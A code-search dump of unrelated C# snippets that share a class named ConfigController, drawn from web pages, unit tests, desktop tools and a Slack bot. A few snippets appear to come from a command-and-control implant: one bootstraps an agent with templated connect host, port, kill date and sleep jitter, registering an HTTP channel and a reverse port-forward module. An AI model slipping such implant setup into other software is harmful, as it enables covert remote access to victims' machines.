public void LoadData()
        {
            var           supplier = SupplierController.GetAllWithIsHidden(false);
            StringBuilder html     = new StringBuilder();

            html.Append("<select id=\"supplierList\" class=\"form-control\" style=\"width: 20%; float: left; margin-right: 10px\">");
            html.Append("<option value=\"0\">Tất cả nhà cung cấp</option>");
            if (supplier.Count > 0)
            {
                foreach (var s in supplier)
                {
                    html.Append("<option value=\"" + s.ID + "\">" + s.SupplierName + "</option>");
                }
            }
            html.Append("</select>");
            ltrSupplier.Text = html.ToString();

            // Lấy css print barcode từ cài đặt

            var p = ConfigController.GetByTop1();

            if (p != null)
            {
                hdfCSSPrintBarcode.Value = p.CSSPrintBarcode;
            }
        }
Beispiel #2
0
        public static void Execute()
        {
            var config = new ConfigController();

            //config.SetOption(ConfigSetting.ConnectHosts, "127.0.0.1");
            //config.SetOption(ConfigSetting.ConnectPort, "8080");
            //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00"));
            //config.SetOption(ConfigSetting.SleepInterval, 1);
            //config.SetOption(ConfigSetting.SleepJitter, 0);

            config.SetOption(ConfigSetting.ConnectHosts, "<<ConnectHost>>");
            config.SetOption(ConfigSetting.ConnectPort, "<<ConnectPort>>");
            config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>"));
            config.SetOption(ConfigSetting.SleepInterval, "<<SleepInterval>>");
            config.SetOption(ConfigSetting.SleepJitter, "<<SleepJitter>>");

            var crypto = new CryptoController();

            var commModule = new HttpCommModule();

            commModule.Init(config, crypto);

            var agent = new AgentController(config, crypto, commModule);

            agent.Init();
            agent.RegisterAgentModule(new CoreAgentModule());
            agent.RegisterAgentModule(new ReversePortForwardModule());
            agent.Start();
        }
Beispiel #3
0
        public async Task UserConfigControllerSetWithLogic()
        {
            var data   = new UserConfigApiDataHandler();
            var user   = StandardUser;
            var config = UserConfigData.GetFirst();

            Logic.Result.Setup(m => m.Execute(It.IsAny <ChangeConfig>())).Returns(true);

            var controller = new ConfigController(data, Logic)
            {
                CurrentUser = StandardUser, CurrentConfig = config
            };
            var result = await controller.Set("TemplateView", "list") as OkObjectResult;

            result.Should().NotBeNull();
            result.Should().BeOfType <OkObjectResult>();

            var viewModel = result.Value as ConfigViewModel;

            viewModel.Success.Should().BeTrue();

            Logic.HasExecuted.Should().BeTrue();

            data.HasExecuted.Should().BeFalse();
            data.HasCommitted.Should().BeTrue();
        }
Beispiel #4
0
        public void GetConfigKeyReport_ReturnsReportIfConfigValuePresent()
        {
            ConfigController sut = new ConfigController();

            sut.UpsertConfigValue("FirstPlane", "MyConfigContext", "ConfigKey", "ConfigValueFirstPlane");
            sut.UpsertConfigValue("SecondPlane", "MyConfigContext", "ConfigKey", "ConfigValueSecondPlane");
            sut.UpsertConfigValue("ThirdPlane", "MyConfigContext", "ConfigKey", "ConfigValueThirdPlane");
            sut.UpsertConfigValue("FourthPlane", "MyConfigContext", "ConfigKey", "ConfigValueFourthPlane");


            Queue <string> priority = new Queue <string>();

            priority.Enqueue("FirstPlane");


            sut.Priority = priority;
            Dictionary <string, string> context = new Dictionary <string, string>();

            context.Add("FirstPlane", "MyConfigContext");

            sut.SearchContext = context;

            var configKeyReport = sut.GetConfigKeyReport("ConfigKey");

            Assert.IsNotNull(configKeyReport);
        }
Beispiel #5
0
        protected void Page_Load(object sender, EventArgs e)
        {
            var config = ConfigController.GetByTop1();

            if (config.ViewAllReports == 0)
            {
                Response.Redirect("/trang-chu");
            }

            if (!IsPostBack)
            {
                if (Request.Cookies["usernameLoginSystem"] != null)
                {
                    string username = Request.Cookies["usernameLoginSystem"].Value;
                    var    acc      = AccountController.GetByUsername(username);
                    if (acc != null)
                    {
                        if (acc.RoleID != 0)
                        {
                            Response.Redirect("/dang-nhap");
                        }
                    }
                }
                else
                {
                    Response.Redirect("/dang-nhap");
                }
                LoadAccountInfo();
                LoadData();
            }
        }
Beispiel #6
0
        public void GetConfigKeysReport_ReturnsFourElementsWhenFourAreExpected()
        {
            ConfigController sut = new ConfigController();

            sut.UpsertConfigValue("FirstPlane", "MyConfigContext", "ConfigKey1", "ConfigValueFirstPlane");
            sut.UpsertConfigValue("SecondPlane", "MyConfigContext", "ConfigKey2", "ConfigValueSecondPlane");
            sut.UpsertConfigValue("ThirdPlane", "MyConfigContext", "ConfigKey3", "ConfigValueThirdPlane");
            sut.UpsertConfigValue("FourthPlane", "MyConfigContext", "ConfigKey4", "ConfigValueFourthPlane");


            Queue <string> priority = new Queue <string>();

            priority.Enqueue("FirstPlane");
            priority.Enqueue("SecondPlane");
            priority.Enqueue("ThirdPlane");
            priority.Enqueue("FourthPlane");


            sut.Priority = priority;
            Dictionary <string, string> context = new Dictionary <string, string>();

            context.Add("FirstPlane", "MyConfigContext");
            context.Add("SecondPlane", "MyConfigContext");
            context.Add("ThirdPlane", "MyConfigContext");
            context.Add("FourthPlane", "MyConfigContext");

            sut.SearchContext = context;

            var configKeyReport = sut.GetKeysReport();

            Assert.That(configKeyReport.Count == 4);
        }
Beispiel #7
0
    public static string getResult(int id, string logo, string favicon)
    {
        ConfigController configController = new ConfigController();
        Config           c = new Config();

        c.Config_id   = id;
        c.Company     = "";
        c.Title       = "";
        c.Description = "";
        c.Address     = "";
        c.Phone       = "";
        c.Email       = "";
        c.Website     = "";
        c.Logo        = "";
        c.Favicon     = "";
        string root = HttpContext.Current.Server.MapPath("~/");

        if (configController.Update(c) > 0)
        {
            deletefile(root + logo);
            deletefile(root + favicon);
            return(root + favicon);
        }
        else
        {
            return("Reset không thành công");
        }
    }
Beispiel #8
0
        public void WithMultiplePlanes_The_DefaultValue_IsReadAsExpectedByPriority(string firstPlane, string secondPlane, string thirdPlane,
                                                                                   string fourthPlane, string expectedValue)
        {
            ConfigController sut = new ConfigController();

            sut.UpsertDefaultConfigValue("FirstPlane", "ConfigKey", "ConfigValueFirstPlane");
            sut.UpsertDefaultConfigValue("SecondPlane", "ConfigKey", "ConfigValueSecondPlane");
            sut.UpsertDefaultConfigValue("ThirdPlane", "ConfigKey", "ConfigValueThirdPlane");
            sut.UpsertDefaultConfigValue("FourthPlane", "ConfigKey", "ConfigValueFourthPlane");


            Queue <string> priority = new Queue <string>();

            priority.Enqueue(firstPlane);
            priority.Enqueue(secondPlane);
            priority.Enqueue(thirdPlane);
            priority.Enqueue(fourthPlane);

            sut.Priority = priority;
            Dictionary <string, string> context = new Dictionary <string, string>();

            context.Add("FirstPlane", "MyConfigContext");
            context.Add("SecondPlane", "MyConfigContext");
            context.Add("ThirdPlane", "MyConfigContext");
            context.Add("FourthPlane", "MyConfigContext");
            sut.SearchContext = context;

            string configValue = sut.GetConfigValue("ConfigKey");

            Assert.That(configValue.Equals(expectedValue, StringComparison.InvariantCulture));
        }
Beispiel #9
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (!IsPostBack)
     {
         if (Request.Cookies["userLoginSystem"] != null)
         {
             string username = Request.Cookies["userLoginSystem"].Value;
             var    acc      = AccountController.GetByUsername(username);
             if (acc != null)
             {
                 if (acc.RoleID == 0 || acc.RoleID == 1)
                 {
                     var p = ConfigController.GetByTop1();
                     if (p != null)
                     {
                         hdfCSSPrintBarcode.Value = p.CSSPrintBarcode;
                     }
                 }
                 else
                 {
                     Response.Redirect("/trang-chu");
                 }
             }
         }
         else
         {
             Response.Redirect("/dang-nhap");
         }
     }
 }
Beispiel #10
0
    public MainWindow(ExportSettingsController exportSettingsController, ExporterController exporterController, ConfigController configController) : base(Gtk.WindowType.Toplevel)
    {
        this.exporterController       = exporterController;
        this.exportSettingsController = exportSettingsController;
        this.configController         = configController;

        Build();

        UpdateUI();

        _initNodeStore();
        _initDragAndDrop();
        _initToolsColumn();

        GlobalOptionsEntry.Buffer.Changed += (sender, e) => exportSettingsController.SetGlobalOptions(GlobalOptionsEntry.Buffer.Text);

        //Autoscroll console
        ConsoleText.SizeAllocated += (o, args) =>
        {
            ConsoleScrollbox.Vadjustment.Value = ConsoleScrollbox.Vadjustment.Upper - ConsoleScrollbox.Vadjustment.PageSize;
        };

        ExportMenuButton.Activated += (sender, e) => {
            String output;
            exporterController.Export(selectedFile, out output);
            WriteLine(output);
        };

        ExportAllAction.Activated += OnExport;
    }
        public SensorConnector(ConfigController cfgController, bool debugMode)
        {
            _logger    = Log.ForContext <SensorConnector>();
            _cfgCtrl   = cfgController;
            _debugMode = debugMode;

            if (!debugMode)
            {
                CreateSensor();
            }

            if (!_debugMode)
            {
                _readingInterval = _cfgCtrl.Configuration.MeasurementFrequency;
            }
            else
            {
                _readingInterval = 60; //sec für memory leak
                //_readingInterval = 60*60; //sec für data binding statistics
            }

            _readingInterval *= 1000;

            _lastReadingPoint = new Measurement();
            _mainTimer        = new Timer(ReadSensor, null, Timeout.Infinite, Timeout.Infinite);

            _cfgCtrl.PropertyChanged += CfgCtrl_PropertyChanged;
        }
Beispiel #12
0
    public void Init(ConfigController config, CryptoController crypto)
    {
        ModuleStatus = ModuleStatus.Starting;

        Config = config;
        Crypto = crypto;
    }
Beispiel #13
0
        private void button1_Click(object sender, EventArgs e)
        {
            string prompt = null;

            if (!Validator.Validate(out prompt))
            {
                MessageBox.Show(prompt);
                return;
            }

            ConfigController cc = new ConfigController();
            StringBuilder    sb = new StringBuilder();

            if (this.listBox1.Items.Count > 0)
            {
                foreach (var item in this.listBox1.Items)
                {
                    sb.Append(item as string).Append(";");
                }
            }
            if (cc.SaveConfig(new Config()
            {
                LogPath = sb.ToString(), Folder = this.lblFolder.Text
            }))
            {
                MessageBox.Show(MessageUtil.GetMessage("SaveSuccess"));
            }
        }
Beispiel #14
0
    protected void btnSave_Click(object sender, EventArgs e)
    {
        ConfigController configController = new ConfigController();
        Config           c = new Config();

        c.Config_id   = Convert.ToInt32(id.Value);
        c.Company     = txtCompany.Text;
        c.Title       = txtTitle.Text;
        c.Description = editors.Text;
        c.Address     = txtAddress.Text;
        c.Phone       = txtPhone.Text;
        c.Email       = txtEmail.Text;
        c.Website     = txtWebsite.Text;
        c.Logo        = logo_value.Value;
        c.Favicon     = favicon_value.Value;
        if (configController.Update(c) > 0)
        {
            Response.Write("<script>alert('Lưu thông tin thành công')</script>");
        }
        else
        {
            Response.Write("<script>alert('Lưu thông gặp lỗi')</script>");
            return;
        }
    }
Beispiel #15
0
        public void PingdomGetResponseTest()
        {
            List <SlackAttachment> attach = new List <SlackAttachment>();

            attach.Add(new SlackAttachment()
            {
                Title = "ICR:Bug:Critical:Test Jira Ticket. Virtual System is down (#9999)",
                Text  = "ICR:Bug:Critical:Test Jira Ticket. Virtual System is down (#9999)"
            });

            ResponseContext context = new ResponseContext()
            {
                Message = new SlackMessage()
                {
                    Attachments = attach
                }
            };

            string           loc      = Assembly.GetExecutingAssembly().Location;
            string           location = Path.GetDirectoryName(loc);
            ConfigController cfg      = new ConfigController(location);

            if (cfg.LoadConfig())
            {
                SlackBotController sbc  = new SlackBotController(cfg);
                PingdomResponder   ping = new PingdomResponder(sbc);
                BotMessage         bm   = ping.GetResponse(context);
                Assert.True(bm.Text.Contains("Jira Ticket"));
            }
        }
Beispiel #16
0
        /// <summary>
        /// 测试数据库连接
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button6_Click(object sender, System.EventArgs e)
        {
            //封装配置
            DBConfig dbconfig = new DBConfig()
            {
                ServerName   = this.ServerNameTB.Text.Trim(),
                DatabaseName = this.DatabaseNameTB.Text.Trim(),
                LoginName    = this.LoginNameTB.Text.Trim(),
                Password     = this.PasswordTB.Text.Trim()
            };

            //校验配置
            if (!ValidateDB(dbconfig))
            {
                MessageBox.Show("完全に記入してください");
                return;
            }
            //测试
            this.button6.Text = MessageUtil.GetMessage("DBLinking");
            new System.Threading.Thread(delegate()
            {
                string msg = string.Empty;
                ConfigController configC = new ConfigController();
                if (configC.TestDBServer(dbconfig))
                {
                    msg = MessageUtil.GetMessage("LinkSuccess");
                }
                else
                {
                    msg = MessageUtil.GetMessage("LinkFailed");
                }
                this.button6.BeginInvoke(new EventHandler(delegate(Object send, EventArgs ea) { MessageBox.Show(msg); this.button6.Text = "接続テスト"; }), new Object[] { this, EventArgs.Empty });
            }).Start();
        }
Beispiel #17
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (!IsPostBack)
     {
         ConfigController configController = new ConfigController();
         DataTable        dt = configController.GetAll();
         Config           c  = new Config(dt.Rows[0]);
         if (c != null)
         {
             id.Value            = c.Config_id + "";
             txtCompany.Text     = c.Company;
             txtTitle.Text       = c.Title;
             editors.Text        = c.Description;
             txtAddress.Text     = c.Address;
             txtPhone.Text       = c.Phone;
             txtEmail.Text       = c.Email;
             txtWebsite.Text     = c.Website;
             logo_value.Value    = c.Logo;
             favicon_value.Value = c.Favicon;
         }
         else
         {
             id.Value        = 1 + "";
             txtCompany.Text = "";
             txtTitle.Text   = "";
             editors.Text    = "";
             txtAddress.Text = "";
             txtPhone.Text   = "";
             txtEmail.Text   = "";
             txtWebsite.Text = "";
         }
     }
 }
Beispiel #18
0
        private void btnStart_Click(object sender, EventArgs e)
        {
            Console.WriteLine(@"系统启动");
            //获取默认收货库位
            SpareEntities db = EntitiesFactory.CreateSpareInstance();
            //todo 需要维护实际收货地点的编号
            var firstOrDefault = ConfigController.GetList(db).FirstOrDefault(p => p.ParamName == "收货地点");

            if (firstOrDefault != null)
            {
                QadInterface._defaultLoc = firstOrDefault.ParamValue;
            }
            lblErpGet.Visible = sbErpGet.Value;
            if (sbErpGet.Value)
            {
                _qadInterface.Receive();
                _timerErpGet.Start();
                Console.WriteLine(@"启动:获取ERP接口数据,执行周期:" + _timerErpGet.Interval / 1000 + "秒");
            }
            lblErpPut.Visible = sbErpPut.Value;
            if (sbErpPut.Value)
            {
                _qadInterface.Send();
                _timerErpPut.Start();
                Console.WriteLine(@"启动:发送ERP接口数据,执行周期:" + _timerErpPut.Interval / 1000 + "秒");
            }

            _timer.Start();
            btnStart.Enabled = false;
            btnStop.Enabled  = true;
        }
Beispiel #19
0
        public static ConfigResponseDto GetConfig(IConnectionFactory connectionFactory, IHostingEnvironment env)
        {
            var response = ConfigController.GetConfigDefault(connectionFactory, env);

            response.Additional = "Some additional stuff";
            return(response);
        }
Beispiel #20
0
        /// <summary>
        /// 计时器触发,发送一周编译报告
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void _sendWeeklyReportTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            string           config             = System.AppDomain.CurrentDomain.BaseDirectory;
            int              p                  = config.LastIndexOf("\\");
            string           parent             = config.Substring(0, p - 25);
            string           mailWeekReportPath = parent + "\\common\\WeeklyReport.html";
            string           mdbPath            = parent + "\\common\\res\\CILog.mdb";
            string           xmlPath            = parent + "\\common\\res\\CIconfig.xml";
            ConfigController configController   = new ConfigController();
            ConfigInfo       configInfo         = configController.ConfigQuery("config/preferences", xmlPath);
            DayOfWeek        today              = DateTime.Now.DayOfWeek;
            bool             orMonday           = (today.ToString() == "Monday");
            bool             timeNow            = (DateTime.Now.ToShortTimeString() == "8:30");

            if (orMonday == false)
            {
                _notSendReport = true;
            }
            if (orMonday && timeNow && _notSendReport)
            {
                _notSendReport = false;
                //发送一周总结报告邮件
                SendMailSlack sendReportMail = new SendMailSlack(null, null, null, null, configInfo, mailWeekReportPath);
                bool          sendSuccess    = sendReportMail.SendWeeklyReportFromMongodb();
            }
        }
Beispiel #21
0
        public void Init(ConfigController config, CryptoController crypto)
        {
            ModuleStatus = ModuleStatus.Starting;
            Config       = config;
            Crypto       = crypto;

            Listener = new TcpListener(IPAddress.Parse((string)Config.GetOption(ConfigSetting.BindAddress)), (int)Config.GetOption(ConfigSetting.BindPort));
        }
 /// <summary>
 ///     Constructs an initial update performer.
 /// </summary>
 /// <param name="cache">The configuration cache that will receive the channel and directory counts.</param>
 /// <param name="directories">The controller set for accessing directory controllers.</param>
 /// <param name="system">The system controller.</param>
 /// <param name="config">The config controller.</param>
 public InitialUpdatePerformer(ConfigCache?cache, DirectoryControllerSet?directories,
                               SystemController?system, ConfigController?config)
 {
     _cache       = cache ?? throw new ArgumentNullException(nameof(cache));
     _directories = directories ?? throw new ArgumentNullException(nameof(directories));
     _system      = system ?? throw new ArgumentNullException(nameof(system));
     _config      = config ?? throw new ArgumentNullException(nameof(config));
 }
Beispiel #23
0
 public FrmFront()
 {
     InitializeComponent();
     RegisterElements();
     configController = new ConfigController(this);
     frontController  = new FrontController(this, configController);
     frontController.Init();
 }
Beispiel #24
0
    public AgentController(ConfigController config, CryptoController crypto, ICommModule commModule)
    {
        AgentStatus = AgentStatus.Starting;

        Config     = config;
        Crypto     = crypto;
        CommModule = commModule;
    }
	void Start() {
		if (parent == null) {
			parent = transform.parent.transform;
		}
		if (configController == null) {
			configController = GetComponent<ConfigController>();
		}
	}
        private void InitialDateFromConfig()
        {
            ConfigController configController = new ConfigController();

            _resources    = configController.GetListNaturalResourcesConfig();
            _shopItemList = configController.GetShopListConfig();
            farmItemList  = configController.GetFarmtemsConfig();
        }
Beispiel #27
0
 private void Start()
 {
     configs          = GameObject.FindWithTag("Configs");
     configController = GameObject.FindWithTag("ConfigController").GetComponent <ConfigController>();
     if (SceneManager.GetActiveScene().name == "BulletWater" || SceneManager.GetActiveScene().name == "BulletPine")
     {
         slider = configController.sliderExplosion;
     }
 }
Beispiel #28
0
        public static void InitGlobalVar(SpareEntities db, TS_OPERATOR oper)
        {
            Oper = oper;

            ConfigList = ConfigController.GetList(db);
            //GetConfig();

            GetNotifyList(db);
        }
Beispiel #29
0
 public FrontController(IReferView frmFront, ConfigController configController)
 {
     this.frmFront         = frmFront;
     this.configController = configController;
     frontData             = FrontData.LoadSaved();
     //precisa ser mesmo dia... o preço será sugerido para comprar
     configController.config.flagCompraMesmoDia = true;
     configController.config.flagVendaMesmoDia  = true;
 }
Beispiel #30
0
        private void btnSaveConfic_Click(object sender, EventArgs e)
        {
            SaveFileDialog SaveConfigDlg = new SaveFileDialog();

            if (SaveConfigDlg.ShowDialog() == DialogResult.OK)
            {
                ConfigController.SaveCrackConfiguration(SaveConfigDlg.FileName);
            }
        }
        public void ShouldExecutePropertyChanged()
        {
            // Arrange
            var testConfig = new TestConfig();
            var wasRaised = false;

            // System under Test
            var configController = new ConfigController(new IConfigSection[] { testConfig }, new SharpDoxConfig(new SharpDoxStrings()));
            testConfig.PropertyChanged += (a, s) => { wasRaised = true; };

            // Act
            testConfig.TestVar1 = "6fa5a650-25f3-4c86-a515-37e3163a54e9";

            // Assert
            Assert.IsTrue(wasRaised);
        }
Beispiel #32
0
 public AddWoWFolder(ConfigController form)
 {
     master = form;
     InitializeComponent();
 }
Beispiel #33
0
 public static ConfigController Fixture()
 {
     ConfigController controller = new ConfigController(new ConfigRepository(), "", new LoginView());
     return controller;
 }
Beispiel #34
0
 /// <summary>
 /// Called when the application is loaded
 /// </summary>
 /// <param name="sender">Not used.</param>
 /// <param name="e">Not used.</param>
 private void Master_Load(object sender, EventArgs e)
 {
     ConfigController controller = new ConfigController(this);
     controller.LoadAllValues();
     controller.ValidateWoWLocation();
     PluginScanner scanner = new PluginScanner(this);
     scanner.Scan();
     UpdateRealmSelectionToDefault();
 }